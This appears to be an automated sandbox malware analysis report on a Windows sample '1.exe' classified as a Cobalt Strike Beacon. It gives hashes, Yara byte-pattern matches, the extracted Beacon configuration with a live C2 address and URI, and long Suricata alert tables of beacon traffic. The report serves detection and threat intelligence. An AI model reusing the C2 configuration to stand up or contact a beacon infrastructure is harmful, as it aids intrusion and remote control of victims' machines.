Edit tour

Windows Analysis Report
1.exe

Overview

General Information

Sample name:	1.exe
Analysis ID:	1583283
MD5:	9afad044f9ff1201826fb08e602d3e1d
SHA1:	e10ffb85d9252ae4067708553ec07141b85e8d58
SHA256:	d2f3bf1f985fdd93088380843143d235c55b7188b99d7e728a1c49f8cbeb0a9e
Tags:	CobaltStrikeexemalwareuser-Joker
Infos:

Detection

CobaltStrike

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Installs new ROOT certificates

Machine Learning detection for sample

Contains functionality to call native functions

Detected potential crypto function

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains more sections than normal

PE file contains sections with non-standard names

Program does not show much activity (idle)

Sample file is different than original file name gathered from version info

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

1.exe (PID: 5540 cmdline: "C:\Users\user\Desktop\1.exe" MD5: 9AFAD044F9FF1201826FB08E602D3E1D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 10000, "MaxGetSize": 1403644, "Jitter": 37, "MaxDNS": "Not Found", "C2Server": "45.116.78.127,/jquery-3.3.1.min.js", "UserAgent": "Not Found", "HttpPostUri": "Not Found", "Malleable_C2_Instructions": "Not Found", "HttpGet_Metadata": "Not Found", "HttpPost_Metadata": "Not Found", "PipeName": "Not Found", "DNS_Idle": "Not Found", "DNS_Sleep": "Not Found", "SSH_Host": "Not Found", "SSH_Port": "Not Found", "SSH_Username": "Not Found", "SSH_Password_Plaintext": "Not Found", "SSH_Password_Pubkey": "Not Found", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe", "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "CryptoScheme": 0, "Proxy_Config": "Not Found", "Proxy_User": "Not Found", "Proxy_Password": "Not Found", "Proxy_Behavior": "Not Found", "Watermark": 100000000, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": "Not Found", "bProcInject_StartRWX": "Not Found", "bProcInject_UseRWX": "Not Found", "bProcInject_MinAllocSize": "Not Found", "ProcInject_PrependAppend_x86": "Not Found", "ProcInject_PrependAppend_x64": "Not Found", "ProcInject_Execute": "Not Found", "ProcInject_AllocationMethod": "Not Found", "bUsesCookies": "Not Found", "HostHeader": "Not Found"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3273708088.000002B66A0DC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x187e4:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.3273686311.000002B66A0B0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0xfd75:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03 0xff0d:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03
00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16563:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x177f4:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
Process Memory Space: 1.exe PID: 5540	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T10:34:00.428365+0100	2028765	3	Unknown Traffic	192.168.2.5	49704	45.116.78.127	443	TCP
2025-01-02T10:34:09.748404+0100	2028765	3	Unknown Traffic	192.168.2.5	49705	45.116.78.127	443	TCP
2025-01-02T10:34:11.637389+0100	2028765	3	Unknown Traffic	192.168.2.5	49706	45.116.78.127	443	TCP
2025-01-02T10:34:13.557834+0100	2028765	3	Unknown Traffic	192.168.2.5	49707	45.116.78.127	443	TCP
2025-01-02T10:34:15.540284+0100	2028765	3	Unknown Traffic	192.168.2.5	49708	45.116.78.127	443	TCP
2025-01-02T10:34:17.647622+0100	2028765	3	Unknown Traffic	192.168.2.5	49714	45.116.78.127	443	TCP
2025-01-02T10:34:19.572535+0100	2028765	3	Unknown Traffic	192.168.2.5	49717	45.116.78.127	443	TCP
2025-01-02T10:34:21.519447+0100	2028765	3	Unknown Traffic	192.168.2.5	49728	45.116.78.127	443	TCP
2025-01-02T10:34:23.397687+0100	2028765	3	Unknown Traffic	192.168.2.5	49739	45.116.78.127	443	TCP
2025-01-02T10:34:25.327733+0100	2028765	3	Unknown Traffic	192.168.2.5	49755	45.116.78.127	443	TCP
2025-01-02T10:34:27.236320+0100	2028765	3	Unknown Traffic	192.168.2.5	49766	45.116.78.127	443	TCP
2025-01-02T10:34:29.151741+0100	2028765	3	Unknown Traffic	192.168.2.5	49782	45.116.78.127	443	TCP
2025-01-02T10:34:31.044480+0100	2028765	3	Unknown Traffic	192.168.2.5	49794	45.116.78.127	443	TCP
2025-01-02T10:34:32.900275+0100	2028765	3	Unknown Traffic	192.168.2.5	49809	45.116.78.127	443	TCP
2025-01-02T10:34:34.809395+0100	2028765	3	Unknown Traffic	192.168.2.5	49822	45.116.78.127	443	TCP
2025-01-02T10:34:36.675522+0100	2028765	3	Unknown Traffic	192.168.2.5	49836	45.116.78.127	443	TCP
2025-01-02T10:34:38.585436+0100	2028765	3	Unknown Traffic	192.168.2.5	49849	45.116.78.127	443	TCP
2025-01-02T10:34:40.544573+0100	2028765	3	Unknown Traffic	192.168.2.5	49863	45.116.78.127	443	TCP
2025-01-02T10:34:42.434575+0100	2028765	3	Unknown Traffic	192.168.2.5	49878	45.116.78.127	443	TCP
2025-01-02T10:34:44.430146+0100	2028765	3	Unknown Traffic	192.168.2.5	49890	45.116.78.127	443	TCP
2025-01-02T10:34:46.361190+0100	2028765	3	Unknown Traffic	192.168.2.5	49906	45.116.78.127	443	TCP
2025-01-02T10:34:48.315748+0100	2028765	3	Unknown Traffic	192.168.2.5	49918	45.116.78.127	443	TCP
2025-01-02T10:34:50.274161+0100	2028765	3	Unknown Traffic	192.168.2.5	49933	45.116.78.127	443	TCP
2025-01-02T10:34:52.701561+0100	2028765	3	Unknown Traffic	192.168.2.5	49945	45.116.78.127	443	TCP
2025-01-02T10:34:54.643270+0100	2028765	3	Unknown Traffic	192.168.2.5	49962	45.116.78.127	443	TCP
2025-01-02T10:34:56.589408+0100	2028765	3	Unknown Traffic	192.168.2.5	49978	45.116.78.127	443	TCP
2025-01-02T10:34:58.519753+0100	2028765	3	Unknown Traffic	192.168.2.5	49989	45.116.78.127	443	TCP
2025-01-02T10:35:00.428509+0100	2028765	3	Unknown Traffic	192.168.2.5	50003	45.116.78.127	443	TCP
2025-01-02T10:35:02.397660+0100	2028765	3	Unknown Traffic	192.168.2.5	50004	45.116.78.127	443	TCP
2025-01-02T10:35:04.283634+0100	2028765	3	Unknown Traffic	192.168.2.5	50005	45.116.78.127	443	TCP
2025-01-02T10:35:06.243736+0100	2028765	3	Unknown Traffic	192.168.2.5	50006	45.116.78.127	443	TCP
2025-01-02T10:35:08.085295+0100	2028765	3	Unknown Traffic	192.168.2.5	50007	45.116.78.127	443	TCP
2025-01-02T10:35:09.896562+0100	2028765	3	Unknown Traffic	192.168.2.5	50008	45.116.78.127	443	TCP
2025-01-02T10:35:11.765317+0100	2028765	3	Unknown Traffic	192.168.2.5	50009	45.116.78.127	443	TCP
2025-01-02T10:35:13.334887+0100	2028765	3	Unknown Traffic	192.168.2.5	50010	45.116.78.127	443	TCP
2025-01-02T10:35:15.081504+0100	2028765	3	Unknown Traffic	192.168.2.5	50011	45.116.78.127	443	TCP
2025-01-02T10:35:17.044023+0100	2028765	3	Unknown Traffic	192.168.2.5	50012	45.116.78.127	443	TCP
2025-01-02T10:35:19.139603+0100	2028765	3	Unknown Traffic	192.168.2.5	50013	45.116.78.127	443	TCP
2025-01-02T10:35:21.913780+0100	2028765	3	Unknown Traffic	192.168.2.5	50014	45.116.78.127	443	TCP
2025-01-02T10:35:23.901675+0100	2028765	3	Unknown Traffic	192.168.2.5	50015	45.116.78.127	443	TCP
2025-01-02T10:35:25.816225+0100	2028765	3	Unknown Traffic	192.168.2.5	50016	45.116.78.127	443	TCP
2025-01-02T10:35:27.731440+0100	2028765	3	Unknown Traffic	192.168.2.5	50017	45.116.78.127	443	TCP
2025-01-02T10:35:29.605768+0100	2028765	3	Unknown Traffic	192.168.2.5	50018	45.116.78.127	443	TCP
2025-01-02T10:35:31.486285+0100	2028765	3	Unknown Traffic	192.168.2.5	50019	45.116.78.127	443	TCP
2025-01-02T10:35:34.183638+0100	2028765	3	Unknown Traffic	192.168.2.5	50020	45.116.78.127	443	TCP
2025-01-02T10:35:36.097843+0100	2028765	3	Unknown Traffic	192.168.2.5	50021	45.116.78.127	443	TCP
2025-01-02T10:35:38.162854+0100	2028765	3	Unknown Traffic	192.168.2.5	50022	45.116.78.127	443	TCP
2025-01-02T10:35:39.937789+0100	2028765	3	Unknown Traffic	192.168.2.5	50023	45.116.78.127	443	TCP
2025-01-02T10:35:41.839749+0100	2028765	3	Unknown Traffic	192.168.2.5	50024	45.116.78.127	443	TCP
2025-01-02T10:35:43.792569+0100	2028765	3	Unknown Traffic	192.168.2.5	50025	45.116.78.127	443	TCP
2025-01-02T10:35:45.480638+0100	2028765	3	Unknown Traffic	192.168.2.5	50026	45.116.78.127	443	TCP
2025-01-02T10:35:47.399653+0100	2028765	3	Unknown Traffic	192.168.2.5	50027	45.116.78.127	443	TCP
2025-01-02T10:35:49.391791+0100	2028765	3	Unknown Traffic	192.168.2.5	50028	45.116.78.127	443	TCP
2025-01-02T10:35:51.318409+0100	2028765	3	Unknown Traffic	192.168.2.5	50029	45.116.78.127	443	TCP
2025-01-02T10:35:53.183655+0100	2028765	3	Unknown Traffic	192.168.2.5	50030	45.116.78.127	443	TCP
2025-01-02T10:35:55.109773+0100	2028765	3	Unknown Traffic	192.168.2.5	50031	45.116.78.127	443	TCP
2025-01-02T10:35:57.023569+0100	2028765	3	Unknown Traffic	192.168.2.5	50032	45.116.78.127	443	TCP
2025-01-02T10:35:58.954272+0100	2028765	3	Unknown Traffic	192.168.2.5	50033	45.116.78.127	443	TCP
2025-01-02T10:36:00.904156+0100	2028765	3	Unknown Traffic	192.168.2.5	50034	45.116.78.127	443	TCP

ET MALWARE Cobalt Strike Beacon Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T10:34:01.092715+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49704	45.116.78.127	443	TCP
2025-01-02T10:34:10.434039+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49705	45.116.78.127	443	TCP
2025-01-02T10:34:12.343974+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49706	45.116.78.127	443	TCP
2025-01-02T10:34:14.238635+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49707	45.116.78.127	443	TCP
2025-01-02T10:34:16.239468+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49708	45.116.78.127	443	TCP
2025-01-02T10:34:18.316328+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49714	45.116.78.127	443	TCP
2025-01-02T10:34:20.255143+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49717	45.116.78.127	443	TCP
2025-01-02T10:34:22.192772+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49728	45.116.78.127	443	TCP
2025-01-02T10:34:24.107141+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49739	45.116.78.127	443	TCP
2025-01-02T10:34:26.034082+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49755	45.116.78.127	443	TCP
2025-01-02T10:34:27.937620+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49766	45.116.78.127	443	TCP
2025-01-02T10:34:29.816572+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49782	45.116.78.127	443	TCP
2025-01-02T10:34:31.706974+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49794	45.116.78.127	443	TCP
2025-01-02T10:34:33.555179+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49809	45.116.78.127	443	TCP
2025-01-02T10:34:35.465882+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49822	45.116.78.127	443	TCP
2025-01-02T10:34:37.338965+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49836	45.116.78.127	443	TCP
2025-01-02T10:34:39.287641+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49849	45.116.78.127	443	TCP
2025-01-02T10:34:41.211719+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49863	45.116.78.127	443	TCP
2025-01-02T10:34:43.153663+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49878	45.116.78.127	443	TCP
2025-01-02T10:34:45.134788+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49890	45.116.78.127	443	TCP
2025-01-02T10:34:47.129666+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49906	45.116.78.127	443	TCP
2025-01-02T10:34:48.979834+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49918	45.116.78.127	443	TCP
2025-01-02T10:34:50.944422+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49933	45.116.78.127	443	TCP
2025-01-02T10:34:53.351892+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49945	45.116.78.127	443	TCP
2025-01-02T10:34:55.316109+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49962	45.116.78.127	443	TCP
2025-01-02T10:34:57.256975+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49978	45.116.78.127	443	TCP
2025-01-02T10:34:59.189687+0100	2033928	1	A Network Trojan was detected	192.168.2.5	49989	45.116.78.127	443	TCP
2025-01-02T10:35:01.105692+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50003	45.116.78.127	443	TCP
2025-01-02T10:35:03.061089+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50004	45.116.78.127	443	TCP
2025-01-02T10:35:04.954043+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50005	45.116.78.127	443	TCP
2025-01-02T10:35:06.909697+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50006	45.116.78.127	443	TCP
2025-01-02T10:35:08.737331+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50007	45.116.78.127	443	TCP
2025-01-02T10:35:10.420539+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50008	45.116.78.127	443	TCP
2025-01-02T10:35:12.243598+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50009	45.116.78.127	443	TCP
2025-01-02T10:35:13.863025+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50010	45.116.78.127	443	TCP
2025-01-02T10:35:15.776542+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50011	45.116.78.127	443	TCP
2025-01-02T10:35:17.712476+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50012	45.116.78.127	443	TCP
2025-01-02T10:35:19.806754+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50013	45.116.78.127	443	TCP
2025-01-02T10:35:22.587459+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50014	45.116.78.127	443	TCP
2025-01-02T10:35:24.575099+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50015	45.116.78.127	443	TCP
2025-01-02T10:35:26.483418+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50016	45.116.78.127	443	TCP
2025-01-02T10:35:28.391452+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50017	45.116.78.127	443	TCP
2025-01-02T10:35:30.273853+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50018	45.116.78.127	443	TCP
2025-01-02T10:35:33.002512+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50019	45.116.78.127	443	TCP
2025-01-02T10:35:34.851482+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50020	45.116.78.127	443	TCP
2025-01-02T10:35:36.795278+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50021	45.116.78.127	443	TCP
2025-01-02T10:35:38.814912+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50022	45.116.78.127	443	TCP
2025-01-02T10:35:40.639081+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50023	45.116.78.127	443	TCP
2025-01-02T10:35:42.555830+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50024	45.116.78.127	443	TCP
2025-01-02T10:35:44.443340+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50025	45.116.78.127	443	TCP
2025-01-02T10:35:46.148932+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50026	45.116.78.127	443	TCP
2025-01-02T10:35:48.093172+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50027	45.116.78.127	443	TCP
2025-01-02T10:35:50.042937+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50028	45.116.78.127	443	TCP
2025-01-02T10:35:51.989380+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50029	45.116.78.127	443	TCP
2025-01-02T10:35:53.848224+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50030	45.116.78.127	443	TCP
2025-01-02T10:35:55.773488+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50031	45.116.78.127	443	TCP
2025-01-02T10:35:57.685330+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50032	45.116.78.127	443	TCP
2025-01-02T10:35:59.670152+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50033	45.116.78.127	443	TCP
2025-01-02T10:36:01.621895+0100	2033928	1	A Network Trojan was detected	192.168.2.5	50034	45.116.78.127	443	TCP

ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T10:34:01.092715+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49704	45.116.78.127	443	TCP
2025-01-02T10:34:10.434039+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49705	45.116.78.127	443	TCP
2025-01-02T10:34:12.343974+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49706	45.116.78.127	443	TCP
2025-01-02T10:34:14.238635+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49707	45.116.78.127	443	TCP
2025-01-02T10:34:16.239468+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49708	45.116.78.127	443	TCP
2025-01-02T10:34:18.316328+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49714	45.116.78.127	443	TCP
2025-01-02T10:34:20.255143+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49717	45.116.78.127	443	TCP
2025-01-02T10:34:22.192772+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49728	45.116.78.127	443	TCP
2025-01-02T10:34:24.107141+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49739	45.116.78.127	443	TCP
2025-01-02T10:34:26.034082+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49755	45.116.78.127	443	TCP
2025-01-02T10:34:27.937620+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49766	45.116.78.127	443	TCP
2025-01-02T10:34:29.816572+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49782	45.116.78.127	443	TCP
2025-01-02T10:34:31.706974+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49794	45.116.78.127	443	TCP
2025-01-02T10:34:33.555179+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49809	45.116.78.127	443	TCP
2025-01-02T10:34:35.465882+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49822	45.116.78.127	443	TCP
2025-01-02T10:34:37.338965+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49836	45.116.78.127	443	TCP
2025-01-02T10:34:39.287641+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49849	45.116.78.127	443	TCP
2025-01-02T10:34:41.211719+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49863	45.116.78.127	443	TCP
2025-01-02T10:34:43.153663+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49878	45.116.78.127	443	TCP
2025-01-02T10:34:45.134788+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49890	45.116.78.127	443	TCP
2025-01-02T10:34:47.129666+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49906	45.116.78.127	443	TCP
2025-01-02T10:34:48.979834+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49918	45.116.78.127	443	TCP
2025-01-02T10:34:50.944422+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49933	45.116.78.127	443	TCP
2025-01-02T10:34:53.351892+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49945	45.116.78.127	443	TCP
2025-01-02T10:34:55.316109+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49962	45.116.78.127	443	TCP
2025-01-02T10:34:57.256975+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49978	45.116.78.127	443	TCP
2025-01-02T10:34:59.189687+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	49989	45.116.78.127	443	TCP
2025-01-02T10:35:01.105692+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50003	45.116.78.127	443	TCP
2025-01-02T10:35:03.061089+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50004	45.116.78.127	443	TCP
2025-01-02T10:35:04.954043+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50005	45.116.78.127	443	TCP
2025-01-02T10:35:06.909697+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50006	45.116.78.127	443	TCP
2025-01-02T10:35:08.737331+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50007	45.116.78.127	443	TCP
2025-01-02T10:35:10.420539+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50008	45.116.78.127	443	TCP
2025-01-02T10:35:12.243598+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50009	45.116.78.127	443	TCP
2025-01-02T10:35:13.863025+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50010	45.116.78.127	443	TCP
2025-01-02T10:35:15.776542+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50011	45.116.78.127	443	TCP
2025-01-02T10:35:17.712476+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50012	45.116.78.127	443	TCP
2025-01-02T10:35:19.806754+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50013	45.116.78.127	443	TCP
2025-01-02T10:35:22.587459+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50014	45.116.78.127	443	TCP
2025-01-02T10:35:24.575099+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50015	45.116.78.127	443	TCP
2025-01-02T10:35:26.483418+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50016	45.116.78.127	443	TCP
2025-01-02T10:35:28.391452+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50017	45.116.78.127	443	TCP
2025-01-02T10:35:30.273853+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50018	45.116.78.127	443	TCP
2025-01-02T10:35:33.002512+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50019	45.116.78.127	443	TCP
2025-01-02T10:35:34.851482+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50020	45.116.78.127	443	TCP
2025-01-02T10:35:36.795278+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50021	45.116.78.127	443	TCP
2025-01-02T10:35:38.814912+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50022	45.116.78.127	443	TCP
2025-01-02T10:35:40.639081+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50023	45.116.78.127	443	TCP
2025-01-02T10:35:42.555830+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50024	45.116.78.127	443	TCP
2025-01-02T10:35:44.443340+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50025	45.116.78.127	443	TCP
2025-01-02T10:35:46.148932+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50026	45.116.78.127	443	TCP
2025-01-02T10:35:48.093172+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50027	45.116.78.127	443	TCP
2025-01-02T10:35:50.042937+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50028	45.116.78.127	443	TCP
2025-01-02T10:35:51.989380+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50029	45.116.78.127	443	TCP
2025-01-02T10:35:53.848224+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50030	45.116.78.127	443	TCP
2025-01-02T10:35:55.773488+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50031	45.116.78.127	443	TCP
2025-01-02T10:35:57.685330+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50032	45.116.78.127	443	TCP
2025-01-02T10:35:59.670152+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50033	45.116.78.127	443	TCP
2025-01-02T10:36:01.621895+0100	2033658	1	Malware Command and Control Activity Detected	192.168.2.5	50034	45.116.78.127	443	TCP

ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T10:34:01.092931+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49704	TCP
2025-01-02T10:34:10.436015+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49705	TCP
2025-01-02T10:34:12.344200+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49706	TCP
2025-01-02T10:34:14.239065+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49707	TCP
2025-01-02T10:34:16.239762+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49708	TCP
2025-01-02T10:34:18.324834+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49714	TCP
2025-01-02T10:34:20.256075+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49717	TCP
2025-01-02T10:34:22.193088+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49728	TCP
2025-01-02T10:34:24.112399+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49739	TCP
